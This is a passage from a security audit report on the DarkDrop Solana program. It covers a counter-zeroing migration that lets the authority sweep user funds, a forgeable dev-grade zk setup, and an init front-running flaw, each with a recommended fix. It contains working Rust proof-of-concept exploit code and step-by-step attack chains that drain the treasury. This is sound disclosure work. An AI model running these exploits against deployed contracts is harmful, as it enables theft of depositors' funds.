    wopen.extend_from_slice(&new_blinding); wopen.extend_from_slice(&new_salt);
    let mut d = disc("withdraw_credit");
    d.extend_from_slice(&pool_nullifier_hash);
    d.extend_from_slice(&(wopen.len() as u32).to_le_bytes()); d.extend_from_slice(&wopen);
    d.extend_from_slice(&0u16.to_le_bytes());
    send(&mut svm, Instruction { program_id: pid, accounts: vec![
        w(vault), w(treasury), w(pool_credit), AccountMeta::new(attacker.pubkey(), false),
        AccountMeta::new(attacker.pubkey(), true), ro(system_program::ID)],
        data: d }, &attacker, &[&attacker], "withdraw_credit");

    let treasury_after = svm.get_account(&treasury).unwrap().lamports();
    let attacker_after = svm.get_account(&attacker.pubkey()).unwrap().lamports();
    let drained = treasury_before - treasury_after;
    let gain = attacker_after as i128 - attacker_before as i128;

    assert!(drained ≥ a_big - 1, "treasury must be drained by ~A_big via the pool");
    assert!(gain > (a_big as i128) - 10_000_000, "attacker net gain should be ~A_big (minus PDA rent + fees)");
    println!(
```

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

```
// Closed by F1 (same root fix as Finding 01 — one fix closes both L2-01 and L2-02).
// The denomination gate added to deposit_to_note_pool.rs AND withdraw_credit.rs blocks the
// laundering path: a dishonest base note (amount ≠ drop_cap) cannot enter the pool or be withdrawn.
-    require!(amount ⩽ ctx.accounts.vault.drop_cap, DarkDropError::AmountExceedsCap); //
deposit_to_note_pool
+    require!(amount == ctx.accounts.vault.drop_cap, DarkDropError::AmountExceedsCap);
// Verified: poc/FIX_VERIFY_h02.rs GREEN (the L2-02 chain is blocked once F1 is applied).
```

FINDING 03 / 10

HIGH L2-03 solvency-counter-desync

`migrate_vault` resets the solvency counters to zero, letting the authority sweep funds that back outstanding pre-migration drops

INVARIANT After migrating in the solvency counters, total_deposited must reflect ALL funds currently custodied on behalf of outstanding (unclaimed/unwithdrawn) drops, so admin_sweep's floor never permits sweeping user-owed lamports.

CLUSTER This finding represents 2 hypotheses that converged on the same code-site root cause. The cluster representative is `L2-03`; co-occurring duplicates: `c2`. Each duplicate produced an independent STRONG-classified PoC fire against the same engine function — see §B for the clustering rule.

AFFECTED CODE

- `darkdropv4/program/programs/darkdrop/src/instructions/migrate_vault.rs:56-59` — hard-zeros `total_deposited` and `total_withdrawn` on migration
- `darkdropv4/program/programs/darkdrop/src/instructions/migrate_vault.rs:30` — `AlreadyMigrated` guard (`old_len < Vault::SIZE`) that scopes reachability to a true in-place pre-V2 upgrade
- `darkdropv4/program/programs/darkdrop/src/instructions/admin_sweep.rs:21-23` — `outstanding = total_deposited - total_withdrawn`
- `darkdropv4/program/programs/darkdrop/src/instructions/admin_sweep.rs:26-32` — `sweep_amount = treasury_lamports - (outstanding + rent_exempt_min)`
- `darkdropv4/program/programs/darkdrop/src/state.rs:88-91` — `total_deposited` / `total_withdrawn` fields (introduced in V2; the legacy layout lacks them)
- `darkdropv4/program/programs/darkdrop/src/instructions/create_drop.rs:41-50, 68-70` — establishes that deposits put real lamports in the shared treasury and (in V2) bump `total_deposited`; legacy deposits did the former without the latter, which is the custody the migration loses

DESCRIPTION

`admin_sweep` is the only thing standing between the vault authority and user funds. It is supposed to let the authority withdraw *excess* treasury lamports while reserving everything owed to outstanding (unclaimed/unwithdrawn) drops. The reservation floor is computed from the V2 solvency counters:

- `admin_sweep.rs:21-23` — `outstanding = vault.total_deposited.checked_sub(vault.total_withdrawn)`
- `admin_sweep.rs:26-32` — `reserved = outstanding + rent_exempt_min` ; `sweep_amount = treasury_lamports - reserved`

The load-bearing invariant is: **after the V2 counters are introduced on a vault, `total_deposited` must reflect all lamports currently custodied on behalf of outstanding drops, so the floor never permits sweeping user-owed funds.**

`migrate_vault` breaks this invariant. It is the one-time handler that reallocates a legacy (pre-V2) Vault account from 97 bytes to the 113-byte V2 layout and populates the two new fields. It writes them as hard zeros, unconditionally:

- `migrate_vault.rs:56-59`

```
let td_offset = Vault::SIZE - 16; // total_deposited
let tw_offset = Vault::SIZE - 8;  // total_withdrawn
vault_data[td_offset..td_offset + 8].copy_from_slice(&0u64.to_le_bytes());
vault_data[tw_offset..tw_offset + 8].copy_from_slice(&0u64.to_le_bytes());
```

The legacy 97-byte vault had no deposit counter (`total_deposited` / `total_withdrawn` were added in V2 — `state.rs:88-91`). But legacy `create_drop` calls still moved real SOL into the shared treasury for each drop (`create_drop.rs:41-50` transfers `amount` into the `[b"treasury"]` PDA), and those lamports remain custodied for any drop that has not yet been claimed/withdrawn. By writing `total_deposited = 0` , the migration discards the record of that custody. Immediately post-migration, `admin_sweep` computes `outstanding = 0 - 0 = 0` and reserves only the treasury rent-exempt minimum — so it will hand the authority every lamport backing the pre-migration unclaimed drops.

Note this is genuinely a *partial-migration desync*, not a re-runnable reset: `migrate_vault.rs:30` (`require!(old_len < Vault::SIZE, AlreadyMigrated)`) blocks re-invocation once the account is at V2 size, and a fresh `initialize_vault` already produces a 113-byte vault that this same guard rejects. The bug is therefore confined to — but fully live on — exactly the upgrade path the handler exists to serve.

IMPACT

- **Who loses what:** every depositor/claimant whose drop was created before the V2 upgrade and not yet claimed/withdrawn. The lamports custodied for their drops are swept to the authority wallet; they can no longer be paid out of the treasury.
- **Attacker privilege:** the vault authority — a single greedy or compromised admin key. No proof, relayer, or second signer is needed; `admin_sweep` is gated only by `has_one = authority` (`admin_sweep.rs:67`).
- **Preconditions (conditional reachability):** the vault must be an in-place upgrade from a pre-V2 (97-byte) deployment that already custodied funds for outstanding drops, and `migrate_vault` must not have run yet. A vault created fresh via `initialize_vault` is born at 113 bytes and is rejected by the `AlreadyMigrated` guard, so it is never exposed. This is precisely the migration scenario the handler is written for, so on any deployment that actually used the legacy program the impact is real, not hypothetical. It also requires no abnormal sequencing — the authority simply runs the migration the upgrade calls for, then sweeps.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

✓ Counterexample found (bug confirmed by symbolic execution)

LAYER 4 — ON-CHAIN BPF REPRODUCTION

✓ Reproduced through deployed BPF instructions

REPRODUCTION

PoC harness: `poc/L2-03_migrate_vault_sweep_floor/src/lib.rs` (LiteSVM, loads the real `darkdrop.so` built via `cargo build-sbf`). Two tests — the exploit and a negative control — both **GREEN**. L4 Kani additionally proves the floor under honest counters.

Exploit test `migrate_vault_zeroes_floor_then_admin_sweep_drains_user_funds`:

- Install the pre-migration on-chain state: a program-owned V1 Vault (97 bytes — discriminator, bump, authority, total_drops=7, total_claims, drop_cap, merkle_tree; no counter fields) with `authority` = the attacker, plus a program-owned Treasury holding `rent_exempt_min + 12.5 SOL`. The 12.5 SOL models custody for pre-migration drops that have not been claimed/withdrawn. (The harness installs this state directly with `set_account` rather than replaying the V1 deposit flow, because the V2 program cannot deserialize a V1 vault as `Account<Vault>` — that is exactly why `migrate_vault` uses raw `AccountInfo`.)
- Authority calls `migrate_vault`. Handler reallocs 97 → 113 and writes `total_deposited = 0`, `total_withdrawn = 0`. The harness asserts both counter slots (`data[97..105]`, `data[105..113]`) are zero post-migration.
- Authority calls `admin_sweep`. Floor = `0 - 0 = 0`, so `sweep_amount = treasury_balance - rent_exempt_min`.

Proven post-state:

- Treasury drained to exactly `rent_exempt_min` — every user-owed lamport gone.
- Authority's net balance gain ≈ the full 12.5 SOL (within tx fees + the small realloc rent it funds for the +16 counter bytes).
- Console: `L2-03 EXPLOITED: ... ~12500000000 of user-owed funds stolen. Outstanding depositors/claimants can no longer be paid.`

Negative control `control_honest_counters_block_the_sweep` isolates the migration as the cause: same `admin_sweep`, same treasury balance, but an already-migrated V2 vault whose `total_deposited` honestly equals the 12.5 SOL custody. `admin_sweep` is **refused** — it fails on the obligation floor (`ZeroAmount` / `InsufficientBalance`), the treasury is untouched, and the test explicitly asserts the failure is *not* a discriminator/deserialization mismatch (which would be a false-negative control). Only the migration zeroing enables the drain.

RECOMMENDED FIX

Do not initialize the counters to zero. The migration must reconstruct the true outstanding custody so the floor stays honest across the upgrade. Concretely, in `migrate_vault.rs:54-59`, set `total_deposited` to the lamports the treasury already holds on behalf of outstanding drops and `total_withdrawn` to 0, so that `outstanding = total_deposited - total_withdrawn` equals real custody from the first post-migration block:

- Preferred: seed `total_deposited` from the treasury's current backing balance, i.e. `treasury.lamports() - treasury_rent_exempt_min`, by adding the treasury `AccountInfo` to `MigrateVault` and reading it in the handler. This makes the post-migration floor equal to the funds actually under custody.
- If the treasury balance cannot be treated as exact (e.g. it may include legitimately sweepable excess that predates the counters), pass the reconstructed outstanding total as an explicit migration argument computed off-chain from the historical `DropCreated` / withdrawal event log, and write that value instead of `0`.

In either case, keep the existing `AlreadyMigrated` size guard so the seeding runs exactly once and can never re-zero an already-correct counter. As defense in depth, consider having `migrate_vault` set `paused`/disable `admin_sweep` until an authority explicitly confirms the migrated counters, so a mis-seeded migration cannot be immediately followed by a sweep.

LAYER 2 — CONCRETE PROOF OF CONCEPT (ENGINE-DIRECT)

```
//! L2-03 [High] — `migrate_vault` zeroes the solvency counters, letting the
//! authority `admin_sweep` user-owed lamports (sweep-floor understatement).
//!
//! ─────────────────────────────────────────────────────────────────────────
//! WHAT THIS PROVES
//! ─────────────────────────────────────────────────────────────────────────
//! On a deployment that operated BEFORE the V2 counter fields existed — the
//! exact target `migrate_vault` is written for (see migrate_vault.rs:5-9 doc
//! comment and the `old_len < Vault::SIZE` guard at :30) — the Vault account on
//! chain is the V1 layout (97 bytes: disc + bump + authority + total_drops +
//! total_claims + drop_cap + merkle_tree), with NO `total_deposited` /
//! `total_withdrawn` fields, while the Treasury already custodies real lamports
//! backing pre-migration UNCLAIMED drops.
//!
//! The authority then:
//!   1. calls `migrate_vault`  → handler writes total_deposited = 0,
//!                               total_withdrawn = 0  (migrate_vault.rs:54-59)
//!   2. calls `admin_sweep`    → floor = total_deposited - total_withdrawn = 0
//!                               (admin_sweep.rs:20-32), so sweep_amount =
//!                               treasury_balance - rent_exempt_min, i.e. the
//!                               authority drains ALL lamports that back the
//!                               outstanding (unclaimed) drops.
//!
//! Post-state asserted:
//!   * treasury lamports == rent_exempt_min (drained to the floor)
//!   * authority balance increased by ~= OUTSTANDING_LAMPORTS (minus tx fees)
//!   * the outstanding depositors/claimants can no longer be paid: the lamports
//!     that were their custody are now in the attacker (authority) wallet.
//!
//! ─────────────────────────────────────────────────────────────────────────
//! GROUND TRUTH (read from HEAD)
//! ─────────────────────────────────────────────────────────────────────────
//! Program id              : GSig1QYVwPVhHF6oVEwhadAwdWjTqtq6H5cSMEkfAgkU
//! Vault PDA seeds         : [b"vault"]                      (state.rs:73)
//! Treasury PDA seeds      : [b"treasury"]                   (state.rs:183)
//! Vault::SIZE (V2)        : 113 bytes                       (state.rs:95-103)
//! Vault V1 size (no ctrs) : 97 bytes  (113 - 16)
//! Treasury::SIZE          : 9 bytes                         (state.rs:190)
//! Vault field offsets     : disc 0..8, bump 8, authority 9..41, total_drops
//!                           41..49, total_claims 49..57, drop_cap 57..65,
//!                           merkle_tree 65..97, [V2: total_deposited 97..105,
//!                           total_withdrawn 105..113]
//!
//! migrate_vault accounts  (#[derive(Accounts)] MigrateVault, migrate_vault.rs:65)
//!   [0] vault            AccountInfo, mut                   (raw)
//!   [1] authority        Signer, mut
//!   [2] system_program   Program<System>
//!   args: none
//!
//! admin_sweep accounts    (#[derive(Accounts)] AdminSweep, admin_sweep.rs:62)
//!   [0] vault            Account<Vault>, seeds=[b"vault"], has_one=authority
//!   [1] treasury         Account<Treasury>, mut, seeds=[b"treasury"]
//!   [2] authority        Signer, mut
//!   args: none
//!
//! Anchor discriminators (sha256("global:<name>")[..8]):
//!   initialize_vault = [48,191,163,44,71,129,63,164]
//!   migrate_vault    = [139,151,25,211,120,164,24,215]
//!   admin_sweep      = [98,231,31,170,146,98,102,35]
```

```
//! Account discriminator sha256("account:Vault")[..8] = [211,8,232,43,2,152,117,119]
    let sweep_ix = Instruction {
        program_id: pid,
        accounts: vec![
            AccountMeta::new_readonly(vault_pda, false),
            AccountMeta::new(treasury_pda, false),
            AccountMeta::new(authority.pubkey(), true),
        ],
        data: DISC_ADMIN_SWEEP.to_vec(),
    };
    let bh = svm.latest_blockhash();
    let sweep_tx = Transaction::new_signed_with_payer(
        &[sweep_ix],
        Some(&authority.pubkey()),
        &[&authority],
        bh,
    );
    let res = svm.send_transaction(sweep_tx);
    let err = format!("{:?}", res.unwrap_err());
    // Must fail for the RIGHT reason — the obligation floor (ZeroAmount /
    // InsufficientBalance), NOT an account-deserialization mismatch. A pass on
    // the wrong error would be a false negative for the control.
    assert!(
        (err.contains("ZeroAmount") || err.contains("InsufficientBalance")),
        "control must fail on the floor, got: {err}"
    );
    assert!(
        !err.contains("Discriminator") && !err.contains("AccountDiscriminator"),
        "control failed on a discriminator mismatch (harness bug, not the floor): {err}"
    );
```

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

```
// F2 — migrate_vault reconstructs counters from treasury (verified: poc/FIX_VERIFY_migrate.rs GREEN)
-    vault_data[td_offset..td_offset+8].copy_from_slice(&0u64.to_le_bytes());
+    let outstanding = treasury_balance.saturating_sub(Rent::get()?.minimum_balance(Treasury::SIZE));
+    vault_data[td_offset..td_offset+8].copy_from_slice(&outstanding.to_le_bytes());
// + add the `treasury` account to MigrateVault.
```

FINDING 04 / 10

HIGH L2-04 trusted-setup

Pool-claim proof soundness depends on a dev-grade V3 trusted setup whose toxic waste was never discarded

INVARIANT The V3 verifying key must be the product of a sound multi-party ceremony and the note_pool circuit must constrain (amount range, leaf binding, nullifier, commitment, recipient) such that no malformed proof verifies.

AFFECTED CODE

- `darkdropv4/program/programs/darkdrop/src/vk.rs:56-57` — explicit "DEV-GRADE single-party phase-2 setup (devnet only)" comment on the V2/V3 keys.
- `darkdropv4/program/programs/darkdrop/src/vk.rs:125-126` — V3 reuses V1 Powers-of-Tau; only delta + IC are V3-specific.
- `darkdropv4/program/programs/darkdrop/src/vk.rs:128-186` — `V3_DELTA_G2`, `V3_IC`, and `verifying_key_v3()` — the embedded, dev-grade key the chain trusts unconditionally.
- `darkdropv4/program/programs/darkdrop/src/verifier.rs:188-211` — `verify_proof_v3`: the sole on-chain soundness gate; can only validate against the VK, not re-derive ceremony integrity.
- `darkdropv4/program/programs/darkdrop/src/instructions/claim_from_note_pool.rs:59` — SOL pool claim verifies V3, then stores caller-supplied `new_stored_commitment` (`inputs[32..64]`, parsed at :32) as the credit-note commitment (:67) with no independent value check.
- `darkdropv4/program/programs/darkdrop/src/instructions/claim_from_note_pool_spl.rs:72` — SPL pool claim: same pattern, commitment taken directly from `inputs` and stored at :80.
- `darkdropv4/circuits/note_pool.circom:1-106` — the circuit whose constraints (leaf construction :49-55, Merkle membership :57-65, nullifier :67-71, amount range :73-80, commitment binding :82-94, recipient binding :96-101) are only enforceable if the circuit→VK pipeline is sound.

DESCRIPTION

The note-pool claim path (`claim_from_note_pool` / `claim_from_note_pool_spl`) is a pure ZK gate: it moves no value itself, but it mints a `CreditNote` whose stored commitment is later opened and paid out by `withdraw_credit`. The only thing standing between a caller and an arbitrary-value credit note is the Groth16 check in `verify_proof_v3` (`verifier.rs:188-211`). That check has exactly two soundness preconditions:

- The V3 verifying key is the output of a *sound* multi-party phase-2 ceremony (no participant retained the toxic waste / secret delta), and
- The `note_pool.circom` circuit constrains the witness so that no malformed assignment satisfies it.

The invariant the on-chain code relies on is that a verifying V3 proof *proves* the public inputs `[pool_merkle_root, pool_nullifier_hash, new_stored_commitment, recipient_hash]` are the honest image of a real pool leaf — specifically that `new_stored_commitment` encodes the *same* `amount` that lives in a leaf actually present in the pool tree (`note_pool.circom:49-94`). If precondition (1) fails, that proof of knowledge is meaningless: anyone holding the secret delta can fabricate a proof for *any* public-input vector without a valid witness.

At HEAD this precondition is documented as failing. `vk.rs:56-57` states the phase-2 setup behind both V2 and V3 is a **"DEV-GRADE single-party phase-2 setup (devnet only) — to be superseded by the production MPC ceremony (`scripts/ceremony.sh`) before mainnet."** V3 reuses the shared V1 Powers-of-Tau alpha/beta/gamma and differs only in `V3_DELTA_G2` and `V3_IC` (`vk.rs:11` , `vk.rs:125-126` , `vk.rs:128-175`). A single-party phase-2 means one machine generated delta and there is no guarantee it was destroyed. With knowledge of that delta (the "toxic waste"), the Groth16 proving relation degenerates: forged proofs verify against `verifying_key_v3()` (`vk.rs:177-186`) for public inputs that no honest witness could produce.

This is not a defect in the in-scope Rust — the on-chain verifier is correctly checking the proof against the embedded IC points (`verifier.rs:195-208`). It is a load-bearing *boundary* dependency: the on-chain code cannot, even in principle, distinguish a forged-with-toxic-waste proof from an honest one, because both produce a mathematically valid pairing check against the same VK. The value-binding refutations that protect the pool layer (the on-chain guards in `claim_from_note_pool.rs` plus the circuit's amount/commitment constraints) all collapse to "trust the VK" once the ceremony is unsound.

IMPACT

- **Who loses what:** all honest depositors. A successful V3 forgery mints credit notes for value that was never deposited, which `withdraw_credit` pays out of the *shared* treasury / mint vault — the loss falls on other users' custodied funds, up to full drain bounded only by treasury liquidity.
- **Preconditions:** the program is deployed to mainnet still carrying the dev-grade V3 key (`vk.rs:128-175`) without first running the production MPC ceremony (`scripts/ceremony.sh`) and re-embedding the resulting key; AND the single-party phase-2 delta was retained / is recoverable by an adversary. On devnet, where this key is intended to live, the exposure is the deliberately-accepted dev posture.
- **Attacker privilege:** none on-chain — no authority, relayer, or prior deposit is needed. The attacker is the proof-bound recipient. The only "privilege" is off-chain knowledge of the ceremony toxic waste (trivially available to whoever ran the single-party setup, and unverifiable as destroyed for anyone else).
- This is the soundness *root* underneath the value-binding guards: even a perfectly-implemented `note_pool.circom` and on-chain handler cannot defend against it, because the defense reduces to trusting a key the project itself marks as dev-grade.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

—

LAYER 4 — ON-CHAIN BPF REPRODUCTION

—

REPRODUCTION

This finding has no LiteSVM PoC because it is an off-chain ceremony/artifact defect, not an on-chain logic defect — demonstrating it requires the ceremony toxic waste or a circuit-level constraint gap (L3/L4 follow-up on the circuit and proving artifacts), not a transaction sequence against the deployed program. The exploit chain, assuming the dev-grade delta is recoverable (the default assumption for a single-party setup whose waste was not provably destroyed):

- An attacker who knows the secret delta behind `V3_DELTA_G2` constructs a Groth16 proof for a chosen public-input vector `[any_known_pool_root, fresh_nullifier_hash, attacker_chosen_commitment, attacker_recipient_hash]` *without* possessing a valid witness — i.e. without any real pool leaf. With the toxic waste this is a direct algebraic construction, not a brute force.
- `attacker_chosen_commitment` is set to `Poseidon(Poseidon(A_big, blinding), salt)` for an `A_big` far larger than any honestly custodied pool amount. Because no witness is required, there is no leaf-membership or amount-range constraint actually binding the attacker — the circuit constraints (`note_pool.circom:73-94`) are bypassed entirely; they only ever held for honest provers.
- Attacker submits the forged proof to `claim_from_note_pool` (or `_spl`). `is_known_root` passes (any historical root works), `verify_proof_v3` passes (forged proof is valid against the dev VK), and the handler stores `new_stored_commitment = attacker_chosen_commitment` into a fresh `CreditNote` (`claim_from_note_pool.rs:67`).
- Attacker then calls `withdraw_credit` with the opening of `A_big` ; the commitment re-opens and `A_big` lamports/tokens leave the shared treasury / mint vault.

The same forgery primitive applies to V2 (`claim_credit`), since `vk.rs:56-57` flags the identical single-party phase-2 for V2 — but this finding is scoped to the V3 pool-claim soundness boundary per issue #23.

RECOMMENDED FIX

- Replace the dev-grade V3 (and V2) phase-2 with a real multi-party ceremony before any mainnet deployment: run `scripts/ceremony.sh` with ≥2 independent participants, publish the per-participant contribution transcript and attestations so toxic-waste destruction is externally verifiable, and re-derive `V3_DELTA_G2` / `V3_IC` from the ceremony output. Regenerate `verifying_key_v3()` (`vk.rs:128-186`) from the ceremony VK and commit the artifact hashes.
- Gate the mainnet build on ceremony provenance: keep the dev key strictly behind a feature flag / devnet-only build, and add a build-time or deploy-time assertion that the embedded V3 (and V2) VK bytes match the published production-ceremony key hash, so a dev key can never ship to mainnet by omission. Treat issue #23 as a hard release blocker rather than a tracked TODO.
- Independently audit `note_pool.circom` constraint completeness (especially that `amount` is bound to a real in-tree leaf and that `new_stored_commitment` cannot encode a value divorced

from that leaf) so that, even with a sound ceremony, no missing constraint reintroduces the same value-forgery surface; this is the second precondition the on-chain verifier cannot check.

LAYER 2 — CONCRETE PROOF OF CONCEPT

No PoC source on file

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

Remediation is the code-level recommendation above; no separate patch bundle (recommendation-only finding).

FINDING 05 / 10

MEDIUM L2-06 init-front-running

Anyone who lands the first `initialize_vault` transaction becomes the permanent vault authority

INVARIANT The vault authority (who can admin_sweep, pause, and rotate authority) must be the protocol's intended deployer, not whoever lands the first initialize_vault transaction.

CLUSTER This finding represents 2 hypotheses that converged on the same code-site root cause. The cluster representative is `L2-06`; co-occurring duplicates: `c3`. Each duplicate produced an independent STRONG-classified PoC fire against the same engine function — see §B for the clustering rule.

AFFECTED CODE

- `darkdropv4/program/programs/darkdrop/src/instructions/initialize.rs:14` — `vault.authority = ctx.accounts.authority.key()` (no authorization check)
- `darkdropv4/program/programs/darkdrop/src/instructions/initialize.rs:51-88` — `InitializeVault` accounts; the only constraint is `init` on the `[b"vault"]` singleton PDA (`:53-59`), and `authority` is an unconstrained `Signer` (`:84-85`)
- `darkdropv4/program/programs/darkdrop/src/instructions/admin_sweep.rs:20-32` — the obligation floor that bounds the captured authority's reach (context for impact)
- `darkdropv4/program/programs/darkdrop/src/instructions/pause_deposits.rs:21-61` — SPL-only kill switch the captured authority gains (no SOL parallel, per the doc comment at `:19-20`)
- `darkdropv4/program/programs/darkdrop/src/instructions/authority_rotation.rs:14-81` — authority rotation, another lever the captured authority controls

DESCRIPTION

The vault authority holds the protocol's governance levers: it is the only key that passes `has_one = authority` on `admin_sweep` (`admin_sweep.rs:67`), `pause_deposits` (`pause_deposits.rs:46`), and the authority-rotation instructions (`authority_rotation.rs:88`). The invariant is that this authority must be the protocol's intended deployer — established by a key the deployer controls — not whoever happens to land the first `initialize_vault` transaction.

`handle_initialize_vault` violates this by unconditionally stamping the vault authority to the transaction's signer:

```
vault.authority = ctx.accounts.authority.key();   // initialize.rs:14
```

There is no check that the signer equals the program upgrade authority, a hardcoded key, or any other deploy-time anchor. The only validation in the handler is on `drop_cap` bounds (`initialize.rs:8-9`). In the account context, `authority` is declared as a bare, mutable `Signer` with no constraint (`initialize.rs:84-85`); the sole structural protection is the `init` constraint on the singleton `[b"vault"]` PDA (`initialize.rs:53-59`). That means exactly one caller can ever run this instruction, and whoever it is becomes authority permanently — there is no re-initialization path because the PDA is already allocated.

IMPACT

- Who loses what: the protocol team loses control of the vault's governance functions to whoever wins the init race. They cannot recover authority on-chain (re-init is impossible). The attacker gains: `admin_sweep` (limited to excess over obligations), `pause_deposits` (SPL deposit DoS), and authority rotation.
- Preconditions: a deploy-then-init window where init has not yet executed, and an observer who sees the program on-chain and lands a transaction first. No special privilege beyond a funded signer is needed.
- Attacker privilege: unprivileged. Any external account.
- Bound on harm — this is governance capture + censorship + excess-sweep, NOT direct theft of user principal. The `admin_sweep` obligation floor (`admin_sweep.rs:20-32`) reserves `total_deposited - total_withdrawn`, so deposited principal cannot be swept; the PoC proves this explicitly. The pause lever is asymmetric: it gates SPL deposits only (`pause_deposits.rs` operates on `MintConfig.paused` ; the doc comment at `:19-20` confirms there is no SOL parallel — SOL deposits remain ungated via `create_drop`), so the captured authority can censor new SPL deposits but not new SOL deposits. Operationally this is mitigated by deploying and initializing in the same atomic transaction bundle, but that is a deployment convention, not an on-chain guard, and the audit disposition correctly records it as OPEN for that reason.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

—

LAYER 4 — ON-CHAIN BPF REPRODUCTION

✓ Reproduced through deployed BPF instructions

REPRODUCTION

PoC harness: `poc/L2-06_m03_init_frontrun.rs` — LiteSVM, real built `darkdrop.so` against program id `GSig1QYVwPVhHF6oVEwhadAwdWjTqtq6H5cSMEkfAgkU` . Status: GREEN.

- After the program is deployed but before the legitimate deployer runs init, an attacker observes the program on-chain and submits `initialize_vault(drop_cap)` signed by its own keypair. The PoC sends this and asserts `vault.authority == attacker.pubkey()` by reading the raw account (offset 9, the byte after the 8-byte discriminator + 1-byte bump).
- The legitimate deployer then attempts its own `initialize_vault` ; the transaction fails because the `[b"vault"]` PDA is already allocated. The deployer is permanently locked out (PoC asserts

`is_err()`).

- The PoC then bounds the impact honestly. An honest user deposits 5 SOL via `create_drop` (tracked in `vault.total_deposited`). The captured (attacker) authority calls `admin_sweep`: it is refused with `ZeroAmount` because the obligation floor `total_deposited - total_withdrawn` (`admin_sweep.rs:21-23`) drives `sweep_amount` to
- Treasury principal is asserted untouched.
- The deployer's `admin_sweep` is rejected by `has_one = authority` (negative control, `is_err()`).
- Finally, 0.2 SOL of genuine untracked excess is airdropped to the treasury. Only then does the attacker's `admin_sweep` succeed, transferring exactly that excess to the attacker while leaving principal intact.

Proven result: the attacker captures `vault.authority` via first-caller-wins init; the deployer is permanently locked out; the obligation floor PROTECTS user principal so the attacker can sweep only genuine excess. The harness exits green with all assertions holding.

RECOMMENDED FIX

Bind the authority to a deploy-time anchor rather than the first signer. Concretely, require that the init signer equals the program's upgrade authority by passing the `program_data` account and checking it inside the handler:

```
// In InitializeVault accounts:
#[account(constraint = program.programdata_address()? == Some(program_data.key()))]
pub program: Program<'info, crate::program::Darkdrop>,
#[account(constraint = program_data.upgrade_authority_address == Some(authority.key()))]
pub program_data: Account<'info, ProgramData>,
```

This ties initialization to the entity that already controls the deployed program, eliminating the race entirely. A simpler alternative is to compare `authority.key()` against a hardcoded `Pubkey` constant baked into the program, gated with `require!(authority.key() == EXPECTED_DEPLOYER, DarkDropError::Unauthorized)` in `handle_initialize_vault`. Either approach makes the first-caller-wins window unexploitable on-chain instead of relying on the atomic deploy+init convention.

LAYER 2 — CONCRETE PROOF OF CONCEPT (ENGINE-DIRECT)

```rust
// PoC L2-06 [Medium] — M-03 initialize_vault first-caller-wins authority (no on-chain guard)
// status: SOUND | reachable=true  (validated against HEAD)
//
// Proves: (1) any unprivileged signer who lands initialize_vault FIRST becomes
// Vault.authority; (2) the legit deployer is permanently locked out of re-init;
// (3) the attacker — and ONLY the attacker — can drive admin_sweep past the
// `has_one = authority` gate, draining treasury excess to itself, while the
// legit deployer's admin_sweep is rejected by that same constraint.
//
// Ground truth (code at HEAD):
//   - handler:  instructions/initialize.rs:7-49 (vault.authority = authority.key(), :14)
//   - accounts: #[derive(Accounts)] InitializeVault (initialize.rs:51-88)
//   - sweep:    instructions/admin_sweep.rs:11-80 (has_one=authority at :67)
//   - lib.rs:14 program id GSig1QYVwPVhHF6oVEwhadAwdWjTqtq6H5cSMEkfAgkU
//
// Run (set DARKDROP_SO to the built darkdrop.so):
//   DARKDROP_SO=/abs/darkdrop.so cargo test --test l2_06 -- --nocapture

use litesvm::LiteSVM;
use solana_sdk::{
    account::ReadableAccount,
    instruction::{AccountMeta, Instruction},
    pubkey::Pubkey,
    signature::{Keypair, Signer},
    system_program,
    transaction::Transaction,
};
use std::str::FromStr;

const PROGRAM_ID_STR: &str = "GSig1QYVwPVhHF6oVEwhadAwdWjTqtq6H5cSMEkfAgkU";

// Anchor 0.30.1 global instruction discriminators = sha256("global:<name>")[..8].
const DISC_INITIALIZE_VAULT: [u8; 8] = [48, 191, 163, 44, 71, 129, 63, 164];
const DISC_ADMIN_SWEEP: [u8; 8] = [98, 231, 31, 170, 146, 98, 102, 35];
const DISC_CREATE_DROP: [u8; 8] = [157, 142, 145, 247, 92, 73, 59, 48];

const SOL: u64 = 1_000_000_000;
const DROP_CAP: u64 = 5 * SOL;

fn load(svm: &mut LiteSVM, pid: Pubkey) {
    let so = std::env::var("DARKDROP_SO").expect("set DARKDROP_SO to darkdrop.so path");
    let bytes = std::fs::read(&so).unwrap_or_else(|e| panic!("read {so}: {e}"));
    svm.add_program(pid, &bytes);
}

fn read_vault_authority(data: &[u8]) -> Pubkey {
    // 8-byte account discriminator + 1-byte bump = offset 9, then Pubkey(32).
    let mut k = [0u8; 32];
    k.copy_from_slice(&data[9..41]);
    Pubkey::new_from_array(k)
}

fn ix_initialize_vault(
    program_id: &Pubkey,
    vault: &Pubkey,
    merkle_tree: &Pubkey,
    treasury: &Pubkey,
    authority: &Pubkey,
    drop_cap: u64,
```

```
) -> Instruction {
        &[ix], Some(&attacker.pubkey()), &[&attacker], svm.latest_blockhash(),
    );
    assert!(
        svm.send_transaction(tx).is_err(),
        "attacker sweep of pure principal must be floor-blocked (ZeroAmount)"
    );
    assert_eq!(
        svm.get_account(&treasury).unwrap().lamports(), principal,
        "user principal must be untouched by the captured authority"
    );

    // What the captured authority CAN take: genuine EXCESS above the obligation
    // floor (accrued fees / stray lamports not tracked by total_deposited).
    let excess = 200_000_000u64; // 0.2 SOL of untracked excess
    svm.airdrop(&treasury, excess).unwrap();
    // Fresh blockhash so this sweep tx isn't a byte-for-byte duplicate of the
    // earlier floor-blocked attacker sweep (litesvm dedups identical signatures).
    svm.expire_blockhash();
    let attacker_before = svm.get_account(&attacker.pubkey()).unwrap().lamports();
    let ix = ix_admin_sweep(&program_id, &vault, &treasury, &attacker.pubkey());
    let tx = Transaction::new_signed_with_payer(
        &[ix], Some(&attacker.pubkey()), &[&attacker], svm.latest_blockhash(),
    );
    svm.send_transaction(tx).expect("attacker sweeps genuine excess (has_one passes)");
    let attacker_after = svm.get_account(&attacker.pubkey()).unwrap().lamports();
    let treasury_after = svm.get_account(&treasury).unwrap().lamports();

    assert!(attacker_after > attacker_before, "attacker captured the excess");
    assert!(treasury_after ≥ principal, "principal still protected; only excess swept");
```

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

Remediation is the code-level recommendation above; no separate patch bundle (recommendation-only finding).

FINDING 06 / 10

MEDIUM L2-07 relayer-liveness

